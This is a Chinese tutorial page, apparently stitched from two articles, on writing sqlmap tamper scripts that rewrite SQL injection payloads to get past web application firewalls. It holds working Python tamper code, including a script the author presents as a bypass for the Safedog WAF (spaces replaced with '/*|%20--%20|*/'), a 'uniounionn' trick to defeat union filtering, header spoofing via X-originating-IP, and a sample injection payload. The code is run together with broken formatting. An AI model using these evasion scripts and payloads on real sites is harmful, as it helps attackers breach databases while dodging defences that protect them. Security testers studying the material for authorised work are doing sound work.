当前位置:文档之家› sqlmap中tamper的套用编写

sqlmap中tamper的套用编写

SQLmap中tamper的套用与编写导语:tamper脚本不全,没有想要的功能,那就套用别人的思路改一个吧,不行,那就自己编一个………为了说明tamper的结构,让我们从一个最简单的例子开始为了说明tamper的结构,让我们从一个最简单的例子开始# sqlmap/tamper/escapequotes.pyfromlib.core.enums import PRIORITY__priority__ = PRIORITY.LOWESTdef dependencies():passdef tamper(payload, **kwargs):returnpayload.replace("'", "\\'").replace('"', '\\"')不难看出,一个最小的tamper脚本结构为priority变量定义和dependencies、tamper函数定义。

priority定义脚本的优先级,用于有多个tamper脚本的情况。

dependencies函数声明该脚本适用/不适用的范围,可以为空。

tamper是主要的函数,接受的参数为payload和**kwargs返回值为替换后的payload。

比如这个例子中就把引号替换为了\\'。

我们在选一个脚本,该脚本为base64encode.py,查看脚本中的tamper内容:可以看到内容非常简单,将payload的内容内容做了base64编码然后直接返回。

Tamper 有两个参数第一个参数payload即为传入的实际要操作的payload,第二个参数**kwargs 为相关httpheader。

譬如你想插入或则修改header的时候可以用到。

逻辑流程弄清楚之后,很容易编写自己的tamper脚本了。

以使用%a0替换空格的脚本为例,在tamper目录下创建space2ao.py脚本,稍微修改下脚本:在tamper里面再找一个插件,我们来分析分析他的构成。

#!/usr/bin/env python"""Copyright (c) 2006-2016 sqlmap developers (/) See the file 'doc/COPYING' for copying permission"""fromlib.core.enums import PRIORITY__priority__ = PRIORITY.LOWdef dependencies():passdef tamper(payload, **kwargs):"""Replaces space character (' ') with plus ('+')Notes:* Is this any useful? The plus get'surl-encoded by sqlmap engine invalidating the query afterwards* This tamper script works against all databases>>>tamper('SELECT id FROM users')'SELECT+id+FROM+users'"""retVal = payloadif payload:retVal = ""quote, doublequote, firstspace = False, False, Falsefori in xrange(len(payload)):if not firstspace:if payload[i].isspace():firstspace = TrueretVal += "+"continueelif payload[i] == '\'':quote = not quoteelif payload[i] == '"':doublequote = not doublequoteelif payload[i] == " " and not doublequote and not quote:retVal += "+"continueretVal += payload[i]returnretValReplaces space character (' ') with plus ('+')写的是他的注释说的是替换空格为+绕过空格过滤规则。

下面我们看他的编写部分。

fori in xrange(len(payload)):if not firstspace:if payload[i].isspace():firstspace = TrueretVal += "+"continueelif payload[i] == '\'':quote = not quoteelif payload[i] == '"':doublequote = not doublequoteelif payload[i] == " " and not doublequote and not quote:retVal += "+"continueretVal += payload[i]这里上述代码第一行xrange(len(payload)会返回一个迭代序列,可以用来实现循环。

if payload.isspace(): 判断是否有空格,如果有那就继续执行下面的语句。

然后继续使用elif 语句进行判断。

Payload值如果存在空格,并且不是双引号,也不是单引号,继续执行下面的语句进行替换。

其实我们编写别的插件需要构造别的插件需要替换的是这串代码。

retVal += "+"我们大致了解了插件的编写这里我们来编写我们的过狗插件。

#!/usr/bin/env pythonfromlib.core.enums import PRIORITY__priority__ = PRIORITY.LOWdef dependencies():passdef tamper(payload, **kwargs):"""Replaces space character (' ') with plus ('/*|%20--%20|*/')>>>tamper('SELECT id FROM users')'SELECT/*|%20--%20|*/id/*|%20--%20|*/FROM/*|%20--%20|*/users' By sebao"""retVal = payloadif payload:retVal = ""quote, doublequote, firstspace = False, False, Falsefori in xrange(len(payload)):if not firstspace:if payload[i].isspace():firstspace = TrueretVal += "/*|%20--%20|*/"continueelif payload[i] == '\'':quote = not quoteelif payload[i] == '"':doublequote = not doublequoteelif payload[i] == " " and not doublequote and not quote:retVal += "/*|%20--%20|*/"continueretVal += payload[i]returnretVal大家可以看到这串注释Replaces space character (' ') with plus ('/*|%20--%20|*/')换空格为(/*|%20--%20|*/)绕过过滤规则。

【这是以前的过狗办法】到这里就差不多了。

sqlmap-tamper编写指南字数807阅读20评论0喜欢0注:最近遇到了一些奇怪的waf,想自己写一些tamper但是发现没有参考材料可以使用,因此在写了这篇文章,一方便进行自定义的tamper编写。

笔者笔力有限,如有错误,敬请读者们指正。

0x00 sqlmap tamper简介sqlmap是一个自动化的SQL注入工具,而tamper则是对其进行扩展的一系列脚本,主要功能是对本来的payload进行特定的更改以绕过waf。

0x01 一个最小的例子0x02 详细介绍第一部分完成了一个最简单的tamper架构,下面我们进行一个更详细的介绍tamper函数tamper是整个脚本的主体。

主要用于修改原本的payload。

举个简单的例子,如果服务器上有这么几行代码$id = trim($POST($id),'union');$sql="SELECT * FROM users WHERE id='$id'";而我们的payload为-8363' unionselect null-- -这里因为union被过滤掉了,将导致payload不能正常执行,那么就可以编写这样tamperdef tamper(payload, **kwargs):return payload.replace('union','uniounionn')保存为test.py,存到sqlmap/tamper/下,执行的时候带上--tamper=test 的参数,就可以绕过该过滤规则dependencies函数dependencies函数,就tamper脚本支持/不支持使用的环境进行声明,一个简单的例子如下:# sqlmap/tamper/echarunicodeencode.pyfrom mon import singleTimeWarnMessagedef dependencies():singleTimeWarnMessage("tamper script '%s' is only meant to be run against ASP or ASP. NET web applications" % os.path.basename(__file__).split(".")[0])# singleTimeWarnMessage() 于在控制台中打印出警告信息kwargs在官方提供的47个tamper脚本中,kwargs参数只被使用了两次,两次都只是更改了http-header,这里以其中一个为例进行简单说明# sqlmap/tamper/vanrish.pydef tamper(payload, **kwargs):headers = kwargs.get("headers", {})headers["X-originating-IP"] = "127.0.0.1"return payload这个脚本是为了更改X-originating-IP,以绕过WAF,另一个kwargs的使用出现于xforwardedfor.py,也是为了改header以绕过waf0x3 结语tamper的编写远不止这些,本文只就其最基本的结构进行探讨。

相关主题